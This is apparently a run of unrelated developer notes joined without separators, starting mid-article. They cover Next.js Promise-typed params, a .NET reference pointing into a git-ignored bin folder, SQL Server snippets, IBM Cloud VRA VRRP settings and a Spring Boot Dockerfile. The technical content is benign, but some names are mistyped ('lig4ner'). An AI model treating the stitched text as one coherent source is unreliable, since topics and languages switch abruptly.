`params` に `{ slug: string }` を渡したつもりだったが、`Promise<any>` が期待されているらしい。  
つまり、`params` は同期的なオブジェクトではなく、非同期の `Promise` として扱う必要がある。  

### **解決策**  
`params` の型を `Promise<{ slug: string }>` に変更することでエラーを解消できた。  

```typescript
type BlogProp = { params: Promise<{ slug: string }> };
```

これで `params` を非同期で取得する前提の型となり、期待される `Promise` 型と一致する。  
最初は「えっ、なんで `Promise` になるの？」と戸惑ったが、Next.jsの `PageProps` の仕様を考えると納得。  
同じエラーでハマる人がいたら、参考になれば嬉しい。
開発ソリューションの共有で困ったこと

# チーム開発のスタートアップでつまづいた
チームメンバーにGitのリモートからソリューション一式を落としてもらったが、ソリューションを開くと大量のエラーが…

今後の為メモ程度に記述しています。

エラー一覧をみるとパッケージの参照エラーが発生していた。
```
log4netの参照先がありません
```
🌾イメージのエラー

初めは、各自必要なパッケージを入れないといけないのではないかと思ってしまったが、NuGet管理していればパッケージでまとまっているはずなのだが、参照先を確認してみると…

| 参照名    | 参照先              |
|:--------:|:------------------:|
| lig4ner  | ../bin/lig4net...  |


なぜかbinが参照先に…

git管理する上で自動生成されるファイル bin obj は管理対象から外しているため、ソリューションをCloneして来てももちろん参照ができない。

この状態でビルドしようとすると失敗するのでbinも作られるわけがない…
というかdllがいないので一生失敗し続ける。

なぜこのような形になっていたのかはわからないが、ソリューション内に含まれるプロジェクトは別の開発で使っていたプロジェクトを採用していた為、元々そういうふうに参照していたとしか言えない…

binとかobjに参照設定して管理するのはやめようというお話…

基本中の基本なのかもしれないが、そもそもそんなの意識しながらやってない…
自分の場合は、プロジェクトのコピーをもらった状態で始めたためbin・objどちらももいる状態から始めていた為、このようなエラーが出ることはなかった…

そのため、新たに開発を始めるメンバーで初めて気づくことができた。

ただし、プロジェクト間で参照をしている場合はbinの参照先で問題ない。

なぜなら、ビルド順さえしっかりしていれば参照しているプロジェクトをビルドする際にはすでにbinの参照先が出来上がっているからだ。

これはgitが悪いわけではない。
管理対象外となっているフォルダ内にdllが格納されているのが問題なのである。

こんなことはありあえないと思うが、参照設定している・パッケージを入れている場合は一度参照先を確認しおこう…
SQLServer

0. 制作分页
    ```
    DECLARE @NumberOfRowsPerPage INT = 10000,
    	@PageNumber INT = 1;
    DECLARE @OffsetRowCount INT = (@PageNumber - 1) * @NumberOfRowsPerPage;
    SELECT	PersonID,
    	FirstName,
    	MiddleName,
    	LastName
    FROM	Person
    ORDER BY PersonID
       OFFSET @OffsetRowCount ROWS  
       FETCH NEXT @NumberOfRowsPerPage ROWS ONLY;  
    ```

0. 删除表
    ```
    DROP TABLE 表の名前; 表を削除する
    ```


0. SQL 筛选列里面有非数字内容的方法
    ```
    ISNUMERIC(查找数据的列名) = 0
    ```
    返回值 意义
    1     可以转换成数值型
    0     不可以转换成数值型
    <br>

0. SQL对COUNT进行筛选(HAVING)
    ```
    SELECT 列1, 列2, COUNT(*)
    FROM 表1
    GROUP BY 列1, 列2
    HAVING COUNT(*) > 1
    ORDER BY COUNT(*) DESC;
    ```
IBM CloudでVRAを使用するときはVRRPを有効化する必要がある


# ゲートウェイ・アプライアンスの使用

https://cloud.ibm.com/docs/virtual-router-appliance?topic=virtual-router-appliance-managing-vlans-and-gateway-appliances&locale=ja

パブリックIPアドレスで公開するサーバーのファイアーウォールとして、ゲートウェイ・アプライアンスを構成。
ただ、全然外からつながらず…。

色々探していたら以下の記載を見つけた。

https://cloud.ibm.com/docs/virtual-router-appliance?topic=virtual-router-appliance-working-with-high-availability-and-vrrp#vrrp-virtual-ip-vip-addresse

-抜粋-
**デバイスがスタンドアロンであるか HA ペアであるかに関係なく、VIP も両方のインターフェースに割り当てられます。 トラフィックの宛先 IP が VRA に関連付けられた VLAN のサブネットにある場合、そのトラフィックは、FCR/BCR 上の静的ルートを介してこれらの VRRP VIP に直接送信されます。**

VRAは1台でもHA構成でも、どちらでもVRRPのIPアドレスが使用される。
しかし、デフォルトが無効という。。。

1台でもVRRPのアドレスで通信するなら、デフォルト有効にしてくれよ…。
全然気づかんかったよ
Eclipseで作成したSpringBootプロジェクトをコンテナ環境下でビルドする

## はじめに
目標は以下になります。
- クラウド上に構築したコンテナリポジトリにビルド環境用のコンテナを配置
- CIの仕組みで上記コンテナを利用
- プロジェクトビルド時、外部NWを介さないような仕組みを構築したい

今回はそんな仕組みを構築する前の検証としてEclipseで作成したSpringBootプロジェクトを手元のコンテナ環境でビルドしてみたいと思います。

以前の記事でReactをフロントにしたWebアプリケーションの作成まで検証できているので、その構成をそのまま流用します。

https://qiita.com/y-hys/items/f30515cbf15422058d42

## dockerfileの作成
SpringBootのプロジェクトルートに作成します。

```dockerfile:dockerfile
# JDKイメージを指定
FROM eclipse-temurin:21-jdk-alpine

# 作業ディレクトリを設定
WORKDIR /app

# ローカルのプロジェクトファイルをコンテナにコピー
COPY . .

# Gradleを使ってビルド
RUN apk add --no-cache gradle && gradle build -x test

# アプリ実行
CMD ["java", "-jar", "build/libs/backend-0.0.1-SNAPSHOT.jar"]
```

## .dockerignoreの作成
```dockerignore:.dockerignore
/build
/.gradle
/bin
*.iml
```

## コンテナビルド&コンテナ起動
```terminal
docker build -t my-springboot-app .
docker run -p 8080:8080 my-springboot-app
```

## 動作確認
`localhost:8080`にアクセスして動作確認します。

## おわりに
今回はシンプルにdockerイメージ作成時にビルドして、起動時に実行するところまで作成しました。
後々、コンテナをビルド環境として利用するにはCI/CDのパイプライン上で、ソースのコピーを行うことになるので、単純にこのまま流用とはいきませんが、なんとなくのイメージから、こうすれば良いのか。が見えてきたので、引き続き検証していきます。